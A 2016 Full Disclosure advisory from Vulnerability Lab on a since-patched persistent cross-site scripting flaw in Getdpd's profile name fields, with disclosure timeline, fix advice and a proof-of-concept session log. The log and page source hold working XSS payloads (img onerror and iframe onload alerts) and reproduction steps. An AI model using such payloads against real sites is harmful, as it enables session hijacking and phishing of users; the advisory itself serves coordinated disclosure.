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[FD] Getdpd BB #3 - Persistent Cross Site Scripting Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Getdpd BB #3 - Persistent Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 8 Feb 2016 11:58:05 +0100
Document Title:
===============
Getdpd BB #3 - Persistent Cross Site Scripting Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1567
ID: #14771
Release Date:
=============
2016-02-03
Vulnerability Laboratory ID (VL-ID):
====================================
1567
Common Vulnerability Scoring System:
====================================
3.8
Product & Service Introduction:
===============================
DPD is an all-in-one shopping cart and digital fulfillment service for
downloadable products. Serving thousands of stores, DPD processes and
delivers millions worth of downloads each year.
(Copy of the Vendor Homepage: https://getdpd.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered an application-side input
validation web vulnerability in the official Getpdp online service
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-08-09: Researcher Notification & Coordination (Hadji Samir)
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)
2015-09-02: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)
2016-01-07: Vendor Fix/Patch (Getdpd Developer Team)
2016-02-03: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
DPD - Digital Product Delivery
Product: DPD Online Service (Web-Application) 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered
in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code to
the application-side of the affected application module.
The vulnerability is located in the input value id first name and last name of
the profie . Remote attackers with low privilege
web-application user accounts are able to inject own malicious script code via
POST method request. The injection point is the vulnerable
id parameter with the title input and the execution point is located in
https://getdpd.com/programsignup/21987 module. The request method
to inject is POST and the vulnerability is located to the application-side of
the vulnerable service.
The security risk of the application-side cross site vulnerability is estimated
as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a
low privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] getdpd.com
Vulnerable Module(s):
[+] Program Terms Sign
Vulnerable Parameter(s):
[+] Firstname
[+] Lastname
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low
privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Create account with the payload name (code injection)
2. Click to Program Manager
3. Open the link (Affiliate Program Signup URL)
https://getdpd.com/programsignup/21987
4. The payload code will execute
--- PoC Session Logs [POST] ---
12:20:01.685[1226ms][total 3365ms]
Status: 200[OK]
POST https://getdpd.com/user/update
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[7104]
Mime Type[text/html]
Request Headers:
Host[getdpd.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101
Firefox/39.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Referer[https://getdpd.com/user/profile]
Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1;
_ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt;
referrer=javascript:alert(1);
view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png;
symfony=4fk57k07c4c3blm6piak6rrk01;
_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
_csrf_token[5dd0e8de2f12cbf4cfdddb7af46239126a7861de]
first_name[%22%3E%3Cimg+src%3D%22c%22+onerror%3Dalert%28document.domain%29%3E]
last_name[%22%3E%3Ciframe+src%3D%22c%22+onload%3Dalert%28document.domain%29%3E]
username[s-dz%40hotmail.fr]
password[]
password_retype[]
timezone[America%2FNew_York]
email[s-dz%40hotmail.fr]
sale_notify[1]
weekly_sales_report[1]
sd_notify[1]
phone_number[%26amp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bquot%3B%26amp%3Bamp%3Ba]
paypal_business[s-dz%40hotmail.fr]
dpd_api_key[4a02b99276]
Response Headers:
Date[Mon, 10 Aug 2015 11:23:27 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0,
pre-check=0]
Pragma[no-cache]
P3p[CP="NOI CURa OUR NOR UNI"]
X-Xss-Protection[1; mode=block]
X-Frame-Options[SAMEORIGIN]
Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/;
secure
_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]
Vary[Accept-Encoding,User-Agent]
Content-Encoding[gzip]
Content-Length[7104]
Connection[close]
Content-Type[text/html; charset=utf-8]
PoC: Source
<h2>Affiliate Program Signup</h2>
<p>"><img src="c" onerror=alert("tested")> "><iframe src="x"
onload=alert("xss_by_samir")> uses DPD to track affiliate sales and
automatically deliver the product to paying customers. Signing up for an
affiliate program is free.</p>
<iframe src="./Dashboard DPD Shopping Cart_files/affiliateTos.html"></iframe>
<div class="pillbox" style="margin: 20px 0 0 240px">
<a onclick="showHide(1, this)" class="active">I have an account</a>
<a onclick="showHide(0, this)">I need an account</a>
</div>
<br style="clear:both">
<form id="affiliate_login" class="tool-input" method="post"
action="https://getdpd.com/user/programlogin";>
<input name="_csrf_token" value="62b44bf209ed1f030dce7ca63546b9addee2a799"
type="hidden"><!--8TH9onQR2fvZg47iAVc--> <fieldset>
<legend>Sign up for this Program</legend>
<p>Login to your DPD account to add this product to your affiliate manager
and begin promoting it as an affiliate.</p>
<input name="vendor_id" id="vendor_id" value="21987" type="hidden">
<label for="username">Username<abbr>*</abbr><span class="small">your
account username</span></label>
<input name="username" id="username" value="" class="user" type="text">
<label for="password">Password<abbr>*</abbr><span class="small">your
account password</span></label>
<input name="password" id="password" value="" class="lock" type="password">
<label>Terms</label>
<div class="listcontainer">
<input name="confirm_product_terms" id="confirm_product_terms" value="1"
class="noimg" type="checkbox">
<label for="confirm_product_terms">Yes, I agree to these program terms.</label>
</div>
</fieldset>
<div class="buttons" style="margin-right: 20px"><button type="submit"
class="tick positive">Sign In</button></div>
</form>
<form id="affiliate_signup" class="tool-input" style="display:none"
method="post" action="https://getdpd.com/user/programsignup";>
<input name="_csrf_token" value="62b44bf209ed1f030dce7ca63546b9addee2a799"
type="hidden"><!--8TH9onQR2fvZg47iAVc--> <fieldset>
<legend>Sign up for this Program</legend>
<input name="vendor_id" id="vendor_id" value="21987" type="hidden">
<input name="create" id="create" value="1" type="hidden">
<p>Create your free DPD account to add this product to your affiliate
manager and begin promoting it as an affiliate.</p>
<label for="first_name">First Name<abbr>*</abbr></label>
<input name="first_name" id="first_name" value="" class="user" type="text">
<label for="last_name">Last Name<abbr>*</abbr></label>
<input name="last_name" id="last_name" value="" class="user" type="text">
<label for="email">Email<abbr>*</abbr><span class="small">your email
address</span></label>
<input name="email" id="email" value="" class="email" type="text">
<label for="username">Username<abbr>*</abbr><span class="small">your
account username</span></label>
<input name="username" id="username" value="" class="user" type="text">
<label for="password">Password<abbr>*</abbr><span class="small">your
account password</span></label>
<input name="password" id="password" value="" class="lock" type="password">
<label for="password_retype">Retype Password<abbr>*</abbr><span
class="small">your account password</span></label>
<input name="password_retype" id="password_retype" value="" class="lock"
type="password">
<label>Terms</label>
<div class="listcontainer">
<input name="confirm_product_terms" id="confirm_product_terms" value="1"
class="noimg" type="checkbox">
<label for="confirm_product_terms">Yes, I agree to these program terms.</label>
</div>
</fieldset>
<div class="buttons" style="margin-right: 20px"><button type="submit"
class="tick positive">Create Account</button></div>
</form>
</div>
Reference(s):
https://getdpd.com/
https://getdpd.com/user/update
https://getdpd.com/user/profile
=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
firstname and lastname input fields. Restrict the input and disallow usage of
special chars.
Filter and setup a secure exception handling that prevents the persistent
execution in the output location.
Security Risk:
==============
The security risk of application-side input validation web vulnerability in the
frontend of the getdpd web-application is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir
[samir@xxxxxxxxxxxxxxxxx] [www.vulnerability-lab.com]
[http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]
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=========================
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